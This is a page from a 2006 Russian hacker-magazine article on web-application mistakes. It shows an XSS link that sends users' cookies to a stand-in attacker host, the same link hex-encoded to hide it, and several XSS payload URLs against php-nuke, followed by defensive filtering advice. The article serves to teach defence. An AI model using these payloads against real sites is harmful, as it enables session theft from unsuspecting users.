Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #67, ИЮНЬ 2006 г.

конструктивные просчеты

ЕКАТЕРИНА СЕДОВА

Спецвыпуск: Хакер, номер #067, стр. 067-056-4


Частенько злоумышленник крадет cookie пользователя, оставив где-нибудь на форуме сайта ссылку на некоторую страницу этого же сайта, перекодировав «нехорошую» часть URL’а в HEX-код. Эта ссылка покажется пользователю обычной, подвоха он не заметит, а данные мигом перешлются куда не надо.

пример ловушки

В ASCII ссылка на страницу с XSS-дырой выглядит следующим образом:

http://test.host/test.php?var="><script>document.location='http://www.evilsite.server/cgi-bin/cookie.cgi?’ +document.cookie</script>

В HEX она выглядит менее угрожающе, хотя она более громоздкая. Можно подумать, что была про_urlencode’ена какая-то текстовая переменная:

http://test.host/test.php?var=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%65%76%69%6c%73%69%74%65%2e%73%65%72%76%65%72%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

Таким простым способом можно украсть пользовательские cookies и отправить их скрипту на удаленной машине, которая запишет их в лог.

Чтобы не чувствовать себя организатором бесплатной раздачи чужих приватных данных, просто-напросто никогда не доверяй данным, полученным от пользователя (знакомое правило?) и всегда фильтруй метасимволы. Так ты предотвратишь большинство XSS-атак. Транслируй ‘<’ и ‘>’ в ‘<’; и ‘>’, ‘(‘ и ‘)’ — в ‘(’ и ‘)’ и не пренебрегай переводом ‘#’ и ‘&’ в аналогичные им ‘#’ (#) and ‘&’ (&). Плюс перестань думать, что такие атаки случаются редко и ты никогда не будешь иметь дело с ними.

примеры уязвимостей

Вот несколько примеров php-nuke, опубликованных в Сети. Все примеры, как можно заметить, относятся к разряду «классических».

www.phpnuke.org/user.php?op=userinfo&uname=<script>alert(document.cookie);</script>

www.phpnuke.org/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=02&ttitle=[JAVASCRIPT]

www.phpnuke.org/modules.php?name=Downloads&d_op=ratedownload&lid=118&ttitle=[JAVASCRIPT]

www.phpnuke.org/modules.php?op=modload&name=Members_List&file=index&letter=[JAVASCRIPT]

Многие используют в своих проектах какие-либо модули с открытым кодом, будь то свободно распространяемые форумы или даже CMS’ки. Помни, что системы с закрытым кодом взламывают потихоньку, методом проб и ошибок, а найти слабые места в открытой системе намного проще. Единственная рекомендация, которая напрашивается по этому поводу, — следить за новостями на сайте производителя используемого продукта, за релизами и вовремя ставить заплатки.

Заботься о своей системе.

подведем итоги

Количество уязвимостей разливается бескрайним морем, но большинство из них не причинят вреда, если ты всегда (всегда!) соблюдаешь несколько простых правил.

1. Не доверяй никаким пользовательским данным! К любым данным, которые приходят от пользователя, относись так, как будто они содержат бяку, вредную для твоей скриптины. Будь одинаково внимателен и к тем данным, которые передаются методами POST и GET, и к тем, которые содержатся в массиве $_COOKIE, — все это легко подменяют. Проявляй бдительность!

Назад на стр. 067-056-3  Содержание  Вперед на стр. 067-056-5